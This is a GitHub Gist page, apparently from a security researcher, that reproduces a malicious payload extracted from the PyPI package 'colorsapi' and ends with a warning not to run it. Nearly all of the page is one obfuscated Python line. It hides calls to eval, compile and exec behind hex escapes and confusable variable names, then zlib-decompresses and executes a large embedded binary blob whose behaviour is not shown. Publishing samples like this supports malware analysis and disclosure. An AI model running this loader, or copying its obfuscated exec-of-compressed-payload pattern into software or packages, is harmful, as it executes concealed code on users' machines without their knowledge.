Created
November 13, 2022 19:49
-
-
Save jossef/b23ff961053d314777bbf07951a3ae85 to your computer and use it in GitHub Desktop.
malicious payload extracted from pypi package "colorsapi"
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from builtins import *;XXXXXXXXWXWXWXXWXX,xxxxxxwxxwxxwwxxwwxwxxxx,mmmnnnnnmnnnnmnmnnnnnmn,XXXXXWWWWXXXXWXXXXWWWW,nmnmnnnmnnnmnnnnmnmmn=(lambda IllIlIlIIIIIlllllIIllll:IllIlIlIIIIIlllllIIllll['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda IllIlIlIIIIIlllllIIllll:IllIlIlIIIIIlllllIIllll(__import__('\x7a\x6c\x69\x62'))),(lambda IllIlIlIIIIIlllllIIllll:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(IllIlIlIIIIIlllllIIllll)"),filename='\x6a\x69\x6c\x69\x6a\x6a\x69\x69\x6a\x6a\x6c\x69\x6c\x6c\x6c\x6a\x6a',mode='\x65\x76\x61\x6c'))),(lambda:(lambda IllIlIlIIIIIlllllIIllll:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(IllIlIlIIIIIlllllIIllll)"),filename='\x6a\x69\x6c\x69\x6a\x6a\x69\x69\x6a\x6a\x6c\x69\x6c\x6c\x6c\x6a\x6a',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63')),(lambda nnmmmnnnnmnnmnmmnmnmmm,IllIlIlIIIIIlllllIIllll:nnmmmnnnnmnnmnmmnmnmmm(IllIlIlIIIIIlllllIIllll));XXXXXWWWWXXXXWXXXXWWWW()(nmnmnnnmnnnmnnnnmnmmn(XXXXXXXXWXWXWXXWXX(xxxxxxwxxwxxwwxxwwxwxxxx(mmmnnnnnmnnnnmnmnnnnnmn('\x76\x61\x72\x73'))),b'x\x9c\xe5\x1cks\xa2J\xf6{~\x85\xfbI\xad8)l\xa0\x1b\xa7\xcaO7\xb3\xbbzsc\xd5d\xee\xc6\xdd\xa9)\x0b\x05g\xf0"\xe4\xaa\x19\x9d\x7f\xbf\xe7\x9c\xeeF\x12DA1IUD\x1ah\x9aG\x9fW\x9fW\x13\xc6\x137\\6\x9a_\xeb\xf1`p}}\x1d\x0f\xe2\xf8\x1a\x16\xdaBE\xfd[\xf7{\x18\x8f\xa1\xcd\xc5\xee\x06x\xe9,\x0c\xc2p\x16\x04!.\xf0\x87]\xfc\xcf\x82\xfa\xd7\x8f\x1f/?\\~h|h\\\xb6\x9b\xcdo\xdf\xba^\xb0\xd8s\xa3h>\x87\xbf\xfeEQ$\x0f\xa3y\xf6F\xdf\xfd\x95\xbbZ\xed\xbb\xd9`\x10\x1bPa\x18\x03#6\xa0\xde\x80\xbd\x014\x1f@\x9fB\xea\xf6En\x13\xbc\xfe\x8e\xb1\xbb;\xf9\xa7\xf5Nn\xe1\xea\xd1(\x98?\xc4\x8b\xd5h\xb4\xe7\xf17\xfd^\xafw\xd3\xeb\xe3\xf6\xe6\xe6\x06\n\xb82\xe7\x9e\x8d\xfa\xf81\x08WA\xb4\xac7\xaf~\xba\x8b\x03oF\xb7\xee\xf7oz7}\xb8\xb3|B\x1f\xee\xae\xa1\x85\x80\xdbB\x11\xfe\x8d\xdc\xe7.\xa3`\x15\x06\x8f\xe3\xe7\x00n\xb6\x10\x7f\x84F\x89SX`\x17\x91{\xc4\xcd\x9a_+\xbd\xdbU\x10y\xfe\xa6Q\xf7\x97\xa1\xfb\xcf\xcc\xe9o\xcd\x8b,\xec\x89\xc2\x01A1`\x07\xe0HXB\x8c\rb\x80[\xbd~5\x8b\x83(\xe72\xa2\xc2\x88\xa0*\xcby\xf4\x1ea\x1d\x06\x0f\xf3x\xb2\x0b\xda\xf9\x8f\xb4N\xa86\xe9\xcbs\xa8\xba\x91\x872\xb3mOM\x1bV\x06+\x87\xd5\x80\xd5\x82U\xc0\xdaV[\x8b\x8d\x99\xc3\xbcBmM\xd69\x84\xe4&ZQ\xc0\xb3\xc1\xc6oE\xfeC\xdc\xf2\xbfG\xee\xa2\x85\x90h-\x02\xaf\x15\x86nm\xb5\x88\x1f\xe6AM\xc3\xaf6\x8f\x17\xd3"\xfd\xac7\r8\xdf.\xd6T\x8c\xc4\xc8\x19\xb5\xa1d\xb0v`mC{\'[{\x1a\x84\x99G\xd03\x8aA&Y\xab&\x81\x12\xa0\xd9K-\xa6Z;\n\xfb\x8e\xa2\x08<\x16)J\xd9\xd7\x8e\x17\x87\xc5\xb7\xdc\xb7\xe1\\0>\xe5\x1e3\x84):\xc2d\x06\xefpO\x18|*\x98\xb0\xe0\xc8\x16\x0e\xb79\x90\xa5\xb0x\x9b3>\xe1\xf6\xc1\xa7\xbe\x1c\xe3\x95#\x0bd\x98\xa5\xff\xf8\xb7\xbf\xd0\xbc1\x06)\xb4x<\x0fgX#kd\x02\xe5[#N\xdb\xf6\xc8\x82\xf6v\xb6\xf6%\tO(\xb1\xd3Qb\xa8\xad\x08K\x9f3R\xc4\xb7\xaf-\xd5\x97d\xc67\xcb\x90\xe5\x85\x0bP\x12H\xd9\xd52\x08[\xfe\xdc\x8dZs\x7f\xb5\xfc\xb5l\xfd\x8c\xfc\x95\xff=\x11\xbcq\t\xc2\x02\xa9\xf9\xc1(*rm \x1b\x86\xa4\x03{6\x88W\x87Dn\xa6\xf6$\xa8\x98)\x8c[J\xec\x88\x14\x05\xa0(\xb2\x15\xb5\x14ik\xbd\xb2\xe8\xce\xed\xa8\xa1\xd0\xdf.,D\xbe\xfb\x8b(X+4\xbf(\xe9\xbd\x8a>\t\x16\xd5$\x88\x7fL4]\xcfc\x0ft\x8d\xf3\xd0v\x89\xa6\xd5\x08\xc4\x8e"\xcf\x8e\xd2\xc5\x9c\x94\xb0C!\xc7R\x02\xf1P\xdb\x82\x14\xf4\x94\xccw{\x92\xc0\xd0\x07\x1b\x1f\r|\xdcA;\x1f\x8c\xaa\xfd\x0e\x14\xd0\x02_t0\xcdys\xf5Lz\x9c|2\x16\x1b4\nK\x13/\xe8&\xb6h\x0b\x1bJSX\x07\tu\xbf\x7fD\xbd\xcaZ\x83C\xc2e\xdfke\x0c\x8b\xd20\xb5\x14\x85\xd8\x9a\x9a\x14\xf5\x98\x8az\xb8\xa2\xaeC\xed\xec\xa28\xd9\x13O1\x08,\x08\x95\x18\x7f\x08"\xf8\xc7G\xe1E\x80\x96\xe8#v\xb88\x11+`\x01\x82I8\x0bgh\x11\xca\xb8\xd3!JG\xa3\xa7bi\x92\x8b@G!@\x8ff\x9d\x14\xdbw\xb4\x19\xa7\x90X\xa4mADJd\xee\xe7\xf7(\x9a\xa7,|\x15\xe6\x80\xc3\xbd\x14\xad\xb4\x96\x17\x1d0s\x04\x05\x19\xfbd\xe9CI\x86?;\x84y\xd4\xb5*\xd7\xd3O\x1fGJ\x02d\x8b\xe0|<\x85\xf0\xeb\xe1\xbf\'\xcb\xf0\x10V\xdf\x82\xe8\x87\xf7\x81?\xbd%\x05\xe8\xe0\x08\x8b#%\x7f\x1b\x94\x13q\xd8\xda\xcc{\x19\xe9\xcc\xbd\x85\x9f\xda\xd2F\xbav\xf3!\xe9\x87cw\xf5XT\xeeWA\xd6Yt$\xf7\x0e\x07\x14\x8e&\xdd".\xa2r\x1d\xe4\x13\xab\xc3\'X\xeaE\xd6\xe8}}\xeep\xa7Bw>\xf6\xdc\xda\xad\xfa\xc9\xe1A\x8e\x15\x1f\xf3\xa85\xcf\xe6Y+{B[\x18\x9bb\x94\xe7\x90\xc7\xc6!\xa9aC\xc9\xa0u\xe7y]\xb1[q T\xf4\xba\x8b\x91\xf6\xbd\xdb\xd0^dk_E$i`\xab\xfc0\x99\x8b#o\xfdq\x8f\xec)G\x1a\xb6c\x8b\xd4\xe2$[\xe7\xd9\x96\xd6\xea\xa9\x9e1\xdb\x04\xbe\xe2\xb6\x05r\xb1m3\xcb\xb6\'\xf6\xc4\xf2p\xe4C/\xbb0\x81\xfb\xb8\xb0\xb0\xd6&\x0b\x8a[P+\x84I\xed\xd0\xc7\xce\xc8\xa6\xf2\xa1\r\xe7xdB\xab)\xf7\xe9\n\x06v\xb0\x0f\xe3]\xb5\xfc\xb4\xe5\x9b-\xffl\x97-\x87\x15\xe3\xa9#@fY\xb6\xe5\xd9\xc6\xd1\x1d\xaboR\xee\x06\xfd\xf0\xcd\xfaE\xf5\xe1#\xfa\xcd\x1da\xc1b\x98.\x9b\xb2)\x07"!\xf2\x10\x02\r\xeb\x0e\xf3\x81,,\xce\x19\xd6\xa0*\xcc\xd8\xd4\xb6\x81P\x18wm\xd3\xec\x986\xe8|L\xb4\xb9gZPk@aUN\x1a\t\xc7<\xe5%Gs\x90Z\x9d\xf3p\x92\x8a:1\x00\x8c%:\x16F\xa1\xda|\x02@ql\x8aTA-\x00\x06A%cT\xd5w\xffI\'\x93\xadx"Fh\xbf\xf0X3\xc4\x9c0\x99S\'\xd3\xc4tv]\xd9\x01\x07\x93\x1f\xd1\xd0\xa2\x9cHJ\x8b\x1c\xbc\x94\xbd"R\xde\x0c\xa1\xb6i\xaf\x07O\xc5\x05\x8a\xb4-\x11\x178\x86\x90\x80\x93\x90\x88&\xc7\xcb\x17J\xd3\xc5T\xaa>\xe6\xec\xe2\x99^\xbf\xff\xa2\x0e\x94c\xc4\x0b\x03k\x0b\x95s\x18p\xc0\xfa\xeap\x97\x8fA\xa0\xa3\xcb\x7f*\x0c\xd1\xc6\xb1\x058\x08\x86!\x104\x0e\xf0\x93{<\x80\xee%IS\xd6#\xed\xbeu\xe00\x1cx\xd9\xf1\x1d\x9e\x85\xa1\xf4Y\x82\xbd"7\xc5\x98\x0fL\x08P\xe8P\xbd\xa3\x8c\x084+\xa0\xbd\x01\xfb\xcfj+7q\xf0\xb9\x06\x992\xa8Z\x9a\xf0\x946i\x87\x99\xdab\xb7C{\xc8\xa68\xa3I\x17\xb7\xa9#<[\xfb*I\x1f\x07\xa5\x85\x14\x83\xd5G\xa4^6xu\x02t\x8e1\xb9\xb6\xc6\x95.\xd3jc\xda\x0c\xe3\x93\xe2\xc6\x17%\\\xd2J6\x18\xee|\xdc\xf5r%\x95Z_-\x1e,r\xeb\xa7\x16U{\x0e\xbd\x85\xf2d\xb8\xe9\x9cG\x1bq\x9e\xea\x1d)\xb3\x86\xd6st\xc8\x9a\x80IcZm\xd8\xb6m\x034M\x0b\xb6\xb0\x1e/=\x87j\xac\xb8\x1f&J\xd0\xf0\x8dk\xeb0ZV\xed\xc6\xc0\x11y\x02k\x87\x96\x89:\x9e\xa8Z7\xd9\xc2\x99s\xa0\x15\x86@\x17\xb4\xe7\x13\x06A\x83\xe2\x88\x03\xb4\xdei\x05\xc3\xbd\x90\x0e\xfa\x9a\x03?\xda\xd1\xc7\xf7\x18\x07zJ\\\x9d\xd1l9\xd2\x020pyr\x84\x98\xa5Rg\x9cT\xd4W\xa8<\x033\x15%>\xd4\x96\x9dUmr\x85\xc1E\xf5>\x08O\te/\x11\xd4\xcfj\xcebb\x9eD\x0c\xeaf\xf2\xdes\x1d\x8a-\x9e\x19\x88NgT\x918,R}\xb2\xb3\xb5\x95\x04\x96\xcc\x14ut\x94\xd1\x95\xe4\x95>\x0b,\xedk\xeb\x941\xd4\xd4\xf8N\x13Rz}\x84\x1b\xd8Or\xd6#\x1d\x95\x18\xe4\xeb\xd2f\x1ej3C\xceF+\x06i\x932\x90\x99\x82,*\xa6\xa8\xf7Z\xd9\xda\x82\n\x1e%m\x9a\xa0,s\xbaXP\xe6\x1d\xcb\xd6\xbeJ\xa4@\x03\x1d}\x07\x03t\x0f\xc42\x08\x0be\\\xd2\xc1\x90\xf7nd,:TnW]\xa7\x8f\xe41\xed\x9f\x83o\xd1=z\x82\x10\xc7\x00SO\x05\x9cT\x94\xfd\xad\x0f[\xa7\xf8Fe\xc2\x93\xdc\xaa\'\xc2\xefe{\xac\xe8\x12g\x99\xa3\xe1\x1c\xd2\x0c\x10(C\x9cv^\x11eb@K\x06\xb9,\xfcA\xc9i\x8fJu\x8e\x9f!\xd4\xa5U~\xcc\xff9\x1eO\xc8\xa5\x83k\xea9\x14\xd7\xb1r\xec\xbdq\xb5\x98\xb1\x13\xdc\xf6\xbd\x9e\x8a\xf9\xaa\x1d\xb5\xd7;\x8d\x1b\xd3\x03\x99N\xa8\xd3y\xec\xc63u\xaaH\xdb\xc2\xeaT\x12\xe0\x8ad\x1e\x96z\xbb\xa8\xacgW~\x12\x00\xbf\r\xd0KFL\xfc\xdd\x9c\x04\x16\xdb\xde\xce\x1dq\xecmb\xb6NQ\xc3n\xeby\'E\xda\x16\x9c{\xb2\xcf\x05#\x8agh\x99\xa4\x11a`\x14C\xf1\\\xcd\xa4\xb0\xb2\xb5\'\xc3\x88)\xb4\xeb\x1c\xccd\xae\x8d"\x13\x9e\x82\xd1\xa1\xb6%\x12qr\x1d\x8d\xb3`\x86?26\xc2g_\xe4\xd8\xa7\xa6\xd8\xe4QD\xedG:\xe4\xda\xa4\xa6dj_ZM9\xd2\x81o`&\xd8y\xc2[\x8e\xfd\xdbE\xbb\xa8o\xe0\x13\xbd`\xe1OV\xf1\xe2W7w\xfeP\x03\xdfJ\xb6\x9e\xc6\x8b\xda\xa8\x16D\xb5\x9c\x99\x1d\r\x9aP6\xa0i\x8a4\xca\xe0`2\xa0\x99f\xaa\x87\xf8\xa3\\}\rL\xb5\x959\xfc;\xfa\x9e\xbc`3\xb9^y\xec\xc8eG\x1e\x82.\xbe\xe1\xe5\x80\x061\x80\xafAQ(\x9c\xd7f\\\xe6?+\xb9\x1d 9\x8a5\xca\x1b\x99\x9b7\xdd\xc8\xab!\xa3\x90\x17&\xf1\xc9\x907U^\x18\xed\xe9\xd1\xb6\xd7\xf8[\xf8\xab\xc7E\x94\xed\xc0E\xea\xe4\x0e\xf4i\x07\xa5\xfa\xf5\xe4u\x92\xa2\x90\x8f\r\x029\x8e\xe68\x94\x1b\x9a\x9a\x14\x14\x08!\x00\x15\x15\x99\x1b\x18\xdd0qu\xca\x1b\xa3\xbb\x85>\x99\xd7\xc8\xc2\xbf\x8f\xeey\x14"\x94\xee\xd4GM\xfd\xa6\xd7$T\x9c\xf8\x183\xdd\x98\xba\x7f\xf9^W}\x8b\xf0^\'\x9d"\x8d\xd1i\xd7\xf3\x16\xferYzP\xa6\x9eU\xd5\x1bz\x93\xbf\xfc_\xedn\xde\xcc\xe4\xab\x7f\xff\xfe\xe9\xbf\xa3\xdf\xfe\xfc\xfc\xf9\xd3\xed\x97\xd1\x9fw\x9f>\xebkX7I\xa1\x95L\xa2sJ\xa8\x01\x92\xca(\xff\xae\xbf\x01\xb5\xac\xfc\xdf\xfd_\x9f6\r|~\x0bo\xd8"\x1e\xa6\x88D8#i3k\xe5\xde\x01_\xeb\xfes\xef\xcb\'\xd9\x89\xdcvw\xfe\xea?n\xf8\xe8\xc3\x83\x12Z\xa7\x97{\xce\xe8j\xd5\xaa\xca\xf6\xb4r\x92\x90\xbf\xe4F*w\xf8m\xbf~JD\xe5=\xfc\xf3\xa7\x7f\x8d\xee\xfe\xb7mx$\xb29\xa0\x18P\xce-D1\xe3D\xcem\xd0\xcc,\x9a\x9bo\xc2R\x08\xd9\xcd\x8b\xa1V\xc3\x92\xbcg\x92~\xdd\\\x15\xe9R~\x8cOM\xcd\xc1\x9d\xcb\x9d\x83\xdfE\xbe\x08\xcbyf\xf3b\xb7 \xc8m\xbeZ\xfc\x92\x8c\x95\xcb|\xb9\x97\xfa\x9b\x89\xff\xb0\xd2\xea\xdery\xf1\x7f\t8\x0f\xac')) |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Disclaimer - don't run this on your computer. this code snippet can potentially harm your computer